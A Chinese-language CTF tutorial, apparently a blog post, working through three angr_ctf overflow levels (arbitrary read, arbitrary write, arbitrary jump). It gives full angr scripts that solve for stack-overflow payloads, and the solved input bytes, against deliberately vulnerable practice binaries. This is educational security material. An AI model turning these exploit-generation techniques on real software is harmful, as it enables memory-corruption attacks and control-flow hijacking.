跳转至

angr_overflow

这是angr_ctf系列的最后一节,在这一节我们通过三个栈溢出的例子来学习angr在漏洞挖掘方向的简单应用。

15_angr_arbitrary_read

这是一个非常入门级的栈溢出题,程序逻辑如下:

image-20211007094226454

手动分析的思路非常简单,scanf处有一个任意读漏洞,可以通过scanf将s的地址覆盖为0x484F6038,使puts(s)能够打印"Good Jobs":

image-20211007094346598

直接梭哈的话不太行,angr没有分析出这个栈溢出漏洞,原因可能是angr无法分析出"Good Job"来自哪个地址:

import angr

proj = angr.Project('../dist/15_angr_arbitrary_read')
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(
    find=lambda state : b'Good Job.' in state.posix.dumps(1),
    avoid=lambda state: b'Try again.' in state.posix.dumps(1)
)
print(simgr.found[0].posix.dumps(0))    # 不行

该题是通过puts输出的,所以我们可以将判断输出中是否包含"Good Job."的条件改为,puts的参数是否为"Good Job."的地址,即0x484F6038。检测puts参数的代码如下,很好理解:

def check_puts(state):
    puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=proj.arch.memory_endness)
    if state.solver.symbolic(puts_parameter):
        good_job_string_address = 0x484F6038
        is_vulnerable_expression = puts_parameter == good_job_string_address
        copied_state = state.copy()
        copied_state.add_constraints(is_vulnerable_expression)
        if copied_state.satisfiable():
            state.add_constraints(is_vulnerable_expression)
            return True
    return False

explore的条件is_successful:

def is_successful(state):
    puts_address = 0x08048370
    if state.addr == puts_address:
        return check_puts(state)
    return False

程序的流程并不是很复杂,所以本题的关键还是在于给explore函数找到一个合适的判定条件。在自动化Pwn中,这个条件往往要改为执行到system("/bin/sh")

完整代码:

import angr

def check_puts(state):
    puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=proj.arch.memory_endness)
    if state.solver.symbolic(puts_parameter):
        good_job_string_address = 0x484F6038
        is_vulnerable_expression = puts_parameter == good_job_string_address
        copied_state = state.copy()
        copied_state.add_constraints(is_vulnerable_expression)
        if copied_state.satisfiable():
            state.add_constraints(is_vulnerable_expression)
            return True
    return False

def is_successful(state):
    puts_address = 0x08048370
    if state.addr == puts_address:
        return check_puts(state)
    return False

proj = angr.Project('../dist/15_angr_arbitrary_read')
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(find=is_successful)
print(simgr.found[0].posix.dumps(0))

输出:

b'0041810812 \xd9\xd9\xd1\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd98`OH'

有一个要注意的地方是这里:

puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=proj.arch.memory_endness)

endness=proj.arch.memory_endness是指定读取的方式为小端。

16_angr_arbitrary_write

这题的思路稍微比上题复杂一点,在这题中我们可以通过scanf将dest覆盖成任意地址,然后通过第二个strncpy向dest中保存的地址写入任何数据,因此我们可以向任何地址写入任何数据,这是一个任意写漏洞。首先我们将dest覆盖成password_buffer的地址,然后再通过第二个strncpy往dest中写入"PASSWORD",最后输出"Good Job.":

image-20211007101137899

image-20211007101308229

直接梭哈还是不行,原因可能是angr没有判断出password_buffer可以被覆盖为符号值。

还是按照上题的思路,这回我们要check的是strncpy函数,约束条件为dest指向的地址为password_buffer,并且src为"NDYNWEUJ",代码如下:

def check_strncpy(state):
    dest = state.memory.load(state.regs.esp + 4, 4, endness=proj.arch.memory_endness)
    src = state.memory.load(state.regs.esp + 8, 4, endness=proj.arch.memory_endness)
    src_content = state.memory.load(src, 8)
    if state.solver.symbolic(src_content) and state.solver.symbolic(dest):
        is_vulnerable_expression = claripy.And(src_content == b'NDYNWEUJ', dest == 0x57584344)
        copied_state = state.copy()
        copied_state.add_constraints(is_vulnerable_expression)
        if copied_state.satisfiable():
            state.add_constraints(is_vulnerable_expression)
            return True
    return False

完整代码:

import angr
import claripy

def check_strncpy(state):
    dest = state.memory.load(state.regs.esp + 4, 4, endness=proj.arch.memory_endness)
    src = state.memory.load(state.regs.esp + 8, 4, endness=proj.arch.memory_endness)
    src_content = state.memory.load(src, 8)
    if state.solver.symbolic(src_content) and state.solver.symbolic(dest):
        is_vulnerable_expression = claripy.And(src_content == b'NDYNWEUJ', dest == 0x57584344)
        copied_state = state.copy()
        copied_state.add_constraints(is_vulnerable_expression)
        if copied_state.satisfiable():
            state.add_constraints(is_vulnerable_expression)
            return True
    return False

def is_successful(state):
    strncpy_address = 0x08048410
    if state.addr == strncpy_address:
        return check_strncpy(state)
    return False

proj = angr.Project('../dist/16_angr_arbitrary_write')
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(find=is_successful)
print(simgr.found[0].posix.dumps(0))

输出:

b'0011604995 NDYNWEUJ\xd9\xd9\xd9\xd9\xd9\xd1\xd9\xd9DCXW'

17_angr_arbitrary_jump

非常经典的ROP,可以覆盖返回值实现任意跳转:

image-20211007104740278image-20211007104749105

当一个指令有很多分支的可能性时,称之为不受约束(unconstrained)的状态, 比如说当用户的输入决定下一条指令的位置。angr 在遇到不受约束的状态时会将其抛出,本题将要关闭这个默认行为,转而利用此状态去求解能够跳转到print_good函数的payload。

求解步骤:

  • 初始化proj,让 angr 记录不受约束的状态
  • 开始step直到发现 eip 为符号的状态
  • 约束 eip 与 print_good 函数地址相同
  • 约束求解

完整exp:

import angr
import claripy

proj = angr.Project('../dist/17_angr_arbitrary_jump')
payload = claripy.BVS('payload', 64 * 8)
state = proj.factory.entry_state(stdin=payload)
simgr = proj.factory.simgr(
    state, 
    save_unconstrained=True, 
    stashes={
        'active':[state],
        'unconstrained': [],
        'found': [],
    })
while (len(simgr.active) or len(simgr.unconstrained)) and not len(simgr.found):
    for unconstrained in simgr.unconstrained:
        eip = unconstrained.regs.eip
        print_good_addr = 0x42585249
        if unconstrained.satisfiable(extra_constraints=[eip == print_good_addr]):
            unconstrained.add_constraints(eip == print_good_addr)
            simgr.move('unconstrained', 'found')
            break
    simgr.drop(stash="unconstrained")
    simgr.step()

print(simgr.found[0].posix.dumps(0))

输出:

b'\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xda\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdbIRXB\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\x00\x00\x00\x00\x00'

打印unconstrained状态,可以发现其地址是由输入决定的:

>>> unconstrained
<SimState @ <BV32 payload_0_512[199:192] .. payload_0_512[207:200] .. payload_0_512[215:208] .. payload_0_512[223:216]>>

所以我们对eip进行约束求解,就能找到会导致栈溢出的payload。

评论